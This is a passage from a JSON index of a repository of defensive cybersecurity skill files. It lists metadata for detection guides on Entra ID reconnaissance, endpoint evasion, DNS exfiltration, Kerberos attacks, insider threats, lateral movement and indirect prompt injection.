-->","isInternal":false,"tokens":315,"sizeBytes":1353},{"name":"SKILL.md","path":"skills/detecting-entra-offensive-tools-in-graph-logs/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-entra-offensive-tools-in-graph-logs/SKILL.md","title":"detecting-entra-offensive-tools-in-graph-logs","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-entra-offensive-tools-in-graph-logs%2FSKILL.md -->","frontmatter":{"name":"detecting-entra-offensive-tools-in-graph-logs","description":"Hunt AADGraphActivityLogs and MicrosoftGraphActivityLogs in Microsoft Sentinel/Log Analytics using KQL to fingerprint offensive Entra ID enumeration tools such as ROADtools, AADInternals, and AzureHound, including User-Agent signatures, roadrecon endpoint sweeps, and sign-in correlation. Use when investigating suspicious Microsoft Graph API activity, Entra ID reconnaissance, or building Sentinel analytics rules to detect these tools.","domain":"cybersecurity","subdomain":"soc-operations","tags":["threat-hunting","entra-id","microsoft-graph","kql","sentinel","roadtools","aadinternals","detection-engineering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-09"],"mitre_attack":["T1078.004"]},"isInternal":false,"tokens":2576,"sizeBytes":11132},{"name":"template.md","path":"skills/detecting-evasion-techniques-in-endpoint-logs/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-evasion-techniques-in-endpoint-logs/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":215,"sizeBytes":833},{"name":"api-reference.md","path":"skills/detecting-evasion-techniques-in-endpoint-logs/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-evasion-techniques-in-endpoint-logs/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":506,"sizeBytes":1713},{"name":"standards.md","path":"skills/detecting-evasion-techniques-in-endpoint-logs/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-evasion-techniques-in-endpoint-logs/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":402,"sizeBytes":1635},{"name":"workflows.md","path":"skills/detecting-evasion-techniques-in-endpoint-logs/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-evasion-techniques-in-endpoint-logs/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":471,"sizeBytes":2246},{"name":"SKILL.md","path":"skills/detecting-evasion-techniques-in-endpoint-logs/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-evasion-techniques-in-endpoint-logs/SKILL.md","title":"detecting-evasion-techniques-in-endpoint-logs","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2FSKILL.md -->","frontmatter":{"name":"detecting-evasion-techniques-in-endpoint-logs","description":"Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","edr","threat-hunting","defense-evasion","MITRE-ATT&CK","detection-engineering"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Content Format Conversion","File Content Analysis","Platform Hardening","File Format Verification"],"nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036","T1027"]},"isInternal":false,"tokens":2513,"sizeBytes":9776},{"name":"api-reference.md","path":"skills/detecting-exfiltration-over-dns-with-zeek/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-exfiltration-over-dns-with-zeek/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-exfiltration-over-dns-with-zeek%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":774,"sizeBytes":2639},{"name":"SKILL.md","path":"skills/detecting-exfiltration-over-dns-with-zeek/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-exfiltration-over-dns-with-zeek/SKILL.md","title":"detecting-exfiltration-over-dns-with-zeek","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-exfiltration-over-dns-with-zeek%2FSKILL.md -->","frontmatter":{"name":"detecting-exfiltration-over-dns-with-zeek","description":"Detect DNS-based data exfiltration by analyzing Zeek dns.log for high-entropy subdomains, oversized TXT/NULL records, and anomalous query volume or patterns. Use when investigating suspected DNS tunneling, covert C2 over DNS, or data exfiltration hidden in DNS queries against network traffic captured by Zeek.","domain":"cybersecurity","subdomain":"network-security","tags":["dns-exfiltration","zeek","entropy-analysis","threat-hunting"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1048"]},"isInternal":false,"tokens":953,"sizeBytes":4084},{"name":"template.md","path":"skills/detecting-fileless-attacks-on-endpoints/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-fileless-attacks-on-endpoints/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":144,"sizeBytes":484},{"name":"api-reference.md","path":"skills/detecting-fileless-attacks-on-endpoints/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-fileless-attacks-on-endpoints/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":499,"sizeBytes":1905},{"name":"standards.md","path":"skills/detecting-fileless-attacks-on-endpoints/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-fileless-attacks-on-endpoints/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":129,"sizeBytes":475},{"name":"workflows.md","path":"skills/detecting-fileless-attacks-on-endpoints/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-fileless-attacks-on-endpoints/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":87,"sizeBytes":354},{"name":"SKILL.md","path":"skills/detecting-fileless-attacks-on-endpoints/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-fileless-attacks-on-endpoints/SKILL.md","title":"detecting-fileless-attacks-on-endpoints","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2FSKILL.md -->","frontmatter":{"name":"detecting-fileless-attacks-on-endpoints","description":"Detects fileless malware and in-memory attacks that execute entirely in RAM without writing persistent files to disk, evading traditional antivirus. Use when building detections for PowerShell-based attacks, reflective DLL injection, WMI persistence, and registry-resident malware. Activates for requests involving fileless malware detection, in-memory attacks, PowerShell exploitation, or living-off-the-land techniques.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","fileless-malware","memory-attacks","PowerShell","detection-engineering"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036","T1053"]},"isInternal":false,"tokens":1689,"sizeBytes":7103},{"name":"api-reference.md","path":"skills/detecting-fileless-malware-techniques/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-fileless-malware-techniques/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-malware-techniques%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":661,"sizeBytes":2600},{"name":"SKILL.md","path":"skills/detecting-fileless-malware-techniques/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-fileless-malware-techniques/SKILL.md","title":"detecting-fileless-malware-techniques","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-malware-techniques%2FSKILL.md -->","frontmatter":{"name":"detecting-fileless-malware-techniques","description":"Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Use for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","fileless","LOLBins","memory-analysis","detection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1059","T1112","T1140","T1218","T1497","T1546","T1547"]},"isInternal":false,"tokens":4045,"sizeBytes":16805},{"name":"api-reference.md","path":"skills/detecting-golden-ticket-attacks-in-kerberos-logs/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-golden-ticket-attacks-in-kerberos-logs/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-attacks-in-kerberos-logs%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":487,"sizeBytes":1679},{"name":"SKILL.md","path":"skills/detecting-golden-ticket-attacks-in-kerberos-logs/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-golden-ticket-attacks-in-kerberos-logs/SKILL.md","title":"detecting-golden-ticket-attacks-in-kerberos-logs","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-attacks-in-kerberos-logs%2FSKILL.md -->","frontmatter":{"name":"detecting-golden-ticket-attacks-in-kerberos-logs","description":"Detect Golden Ticket attacks in Active Directory using Splunk and KQL queries against domain controller event logs, looking for Kerberos TGT anomalies such as mismatched encryption types, impossible ticket lifetimes, non-existent accounts, and forged PAC signatures. Use when hunting for Kerberos ticket forgery or krbtgt-based persistence (MITRE T1558.001) in AD environments.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","golden-ticket","kerberos","active-directory","mitre-t1558-001","credential-abuse"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1003"]},"isInternal":false,"tokens":1180,"sizeBytes":4729},{"name":"api-reference.md","path":"skills/detecting-golden-ticket-forgery/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-golden-ticket-forgery/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-forgery%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":673,"sizeBytes":2344},{"name":"SKILL.md","path":"skills/detecting-golden-ticket-forgery/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-golden-ticket-forgery/SKILL.md","title":"detecting-golden-ticket-forgery","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-forgery%2FSKILL.md -->","frontmatter":{"name":"detecting-golden-ticket-forgery","description":"Detect Kerberos Golden Ticket forgery (e.g. Mimikatz-forged tickets) by analyzing Windows Event ID 4769 for RC4 encryption downgrades (0x17), abnormal ticket lifetimes, and krbtgt account anomalies using Splunk and Elastic SIEM queries. Use when investigating suspected forged Kerberos tickets or krbtgt credential theft in Active Directory.","domain":"cybersecurity","subdomain":"threat-detection","tags":["golden-ticket","kerberos","active-directory","mimikatz","splunk","credential-theft","windows-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Restore Access","Reissue Credential","Decoy User Credential","Authentication Cache Invalidation"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"]},"isInternal":false,"tokens":640,"sizeBytes":2705},{"name":"api-reference.md","path":"skills/detecting-indirect-prompt-injection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-indirect-prompt-injection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-indirect-prompt-injection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":514,"sizeBytes":2012},{"name":"standards.md","path":"skills/detecting-indirect-prompt-injection/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-indirect-prompt-injection/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-indirect-prompt-injection%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":413,"sizeBytes":1610},{"name":"SKILL.md","path":"skills/detecting-indirect-prompt-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-indirect-prompt-injection/SKILL.md","title":"detecting-indirect-prompt-injection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-indirect-prompt-injection%2FSKILL.md -->","frontmatter":{"name":"detecting-indirect-prompt-injection","description":"Detect and defend against indirect prompt injection hidden in web pages, documents, and images consumed by an agent, via content extraction (HTML/PDF/OCR), normalization, and scanning with LLM Guard's PromptInjection scanner or Hugging Face Prompt Guard 2. Use when an agent ingests untrusted external content and you need to screen it for injected instructions before the LLM processes it.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","indirect-prompt-injection","llm-defense","agent-security","content-scanning","llm-guard","multimodal","owasp-llm"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7"],"atlas_techniques":["AML.T0051.001"]},"isInternal":false,"tokens":2658,"sizeBytes":11084},{"name":"api-reference.md","path":"skills/detecting-insider-data-exfiltration-via-dlp/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-insider-data-exfiltration-via-dlp/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-data-exfiltration-via-dlp%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":469,"sizeBytes":1734},{"name":"SKILL.md","path":"skills/detecting-insider-data-exfiltration-via-dlp/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-insider-data-exfiltration-via-dlp/SKILL.md","title":"detecting-insider-data-exfiltration-via-dlp","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-data-exfiltration-via-dlp%2FSKILL.md -->","frontmatter":{"name":"detecting-insider-data-exfiltration-via-dlp","description":"Detects insider data exfiltration by analyzing DLP policy violations, file access patterns, upload volume anomalies, and off-hours activity in endpoint and cloud logs. Uses pandas for behavioral analytics and statistical baselines. Use when investigating insider threats or building user behavior analytics for data loss prevention.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["insider-threat","data-loss-prevention","dlp","exfiltration-detection","ueba","security-operations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1048","T1041"]},"isInternal":false,"tokens":601,"sizeBytes":2489},{"name":"template.md","path":"skills/detecting-insider-threat-behaviors/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-insider-threat-behaviors/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":724,"sizeBytes":2658},{"name":"api-reference.md","path":"skills/detecting-insider-threat-behaviors/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-insider-threat-behaviors/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":488,"sizeBytes":1903},{"name":"standards.md","path":"skills/detecting-insider-threat-behaviors/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-insider-threat-behaviors/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":407,"sizeBytes":1581},{"name":"workflows.md","path":"skills/detecting-insider-threat-behaviors/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-insider-threat-behaviors/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":631,"sizeBytes":2931},{"name":"SKILL.md","path":"skills/detecting-insider-threat-behaviors/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-insider-threat-behaviors/SKILL.md","title":"detecting-insider-threat-behaviors","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2FSKILL.md -->","frontmatter":{"name":"detecting-insider-threat-behaviors","description":"Detect insider threat behavioral indicators including unusual data access, off-hours activity, mass file downloads, privilege abuse, and resignation-correlated data theft. Use when proactively threat-hunting for malicious or negligent insider activity, or when investigating a departing or disgruntled employee for potential data theft.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","insider-threat","data-theft","ueba","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083"]},"isInternal":false,"tokens":808,"sizeBytes":3587},{"name":"api-reference.md","path":"skills/detecting-insider-threat-with-ueba/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-insider-threat-with-ueba/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-with-ueba%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":617,"sizeBytes":2419},{"name":"SKILL.md","path":"skills/detecting-insider-threat-with-ueba/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-insider-threat-with-ueba/SKILL.md","title":"detecting-insider-threat-with-ueba","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-with-ueba%2FSKILL.md -->","frontmatter":{"name":"detecting-insider-threat-with-ueba","description":"Implement User and Entity Behavior Analytics (UEBA) using Elasticsearch/OpenSearch to build behavioral baselines, calculate anomaly scores, perform peer group analysis, and alert on insider threat indicators such as data exfiltration, privilege abuse, and unauthorized access. Use when building or tuning a UEBA pipeline rather than a one-off manual hunt.","domain":"cybersecurity","subdomain":"threat-detection","tags":["ueba","insider-threat","anomaly-detection","elasticsearch","behavior-analytics","machine-learning","siem"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05"],"mitre_attack":["T1078","T1190","T1059","T1048","T1041"]},"isInternal":false,"tokens":623,"sizeBytes":2949},{"name":"template.md","path":"skills/detecting-kerberoasting-attacks/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-kerberoasting-attacks/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":727,"sizeBytes":2635},{"name":"api-reference.md","path":"skills/detecting-kerberoasting-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-kerberoasting-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":460,"sizeBytes":1471},{"name":"standards.md","path":"skills/detecting-kerberoasting-attacks/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-kerberoasting-attacks/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":416,"sizeBytes":1570},{"name":"workflows.md","path":"skills/detecting-kerberoasting-attacks/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-kerberoasting-attacks/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":655,"sizeBytes":3019},{"name":"SKILL.md","path":"skills/detecting-kerberoasting-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-kerberoasting-attacks/SKILL.md","title":"detecting-kerberoasting-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-kerberoasting-attacks","description":"Detect Kerberoasting attacks by monitoring for anomalous Kerberos TGS requests (Event ID 4769) targeting service accounts with SPNs, which attackers request offline to crack service account passwords. Use when hunting for MITRE T1558 credential access activity or investigating suspected service account password cracking attempts in Active Directory Kerberos logs.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","kerberoasting","credential-access","kerberos","t1558","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1003"]},"isInternal":false,"tokens":855,"sizeBytes":3653},{"name":"api-reference.md","path":"skills/detecting-lateral-movement-in-network/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-in-network/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-in-network%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":790,"sizeBytes":2776},{"name":"SKILL.md","path":"skills/detecting-lateral-movement-in-network/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-in-network/SKILL.md","title":"detecting-lateral-movement-in-network","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-in-network%2FSKILL.md -->","frontmatter":{"name":"detecting-lateral-movement-in-network","description":"Identifies lateral movement techniques in enterprise networks by analyzing authentication logs, network flows, SMB traffic, and RDP sessions using Zeek, Velociraptor, and SIEM correlation rules to detect attackers moving between systems.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","lateral-movement","threat-detection","siem","pass-the-hash"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1021"]},"isInternal":false,"tokens":4617,"sizeBytes":17032},{"name":"template.md","path":"skills/detecting-lateral-movement-with-splunk/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-with-splunk/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":365,"sizeBytes":1279},{"name":"api-reference.md","path":"skills/detecting-lateral-movement-with-splunk/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-with-splunk/references/api-reference.md","title":"References 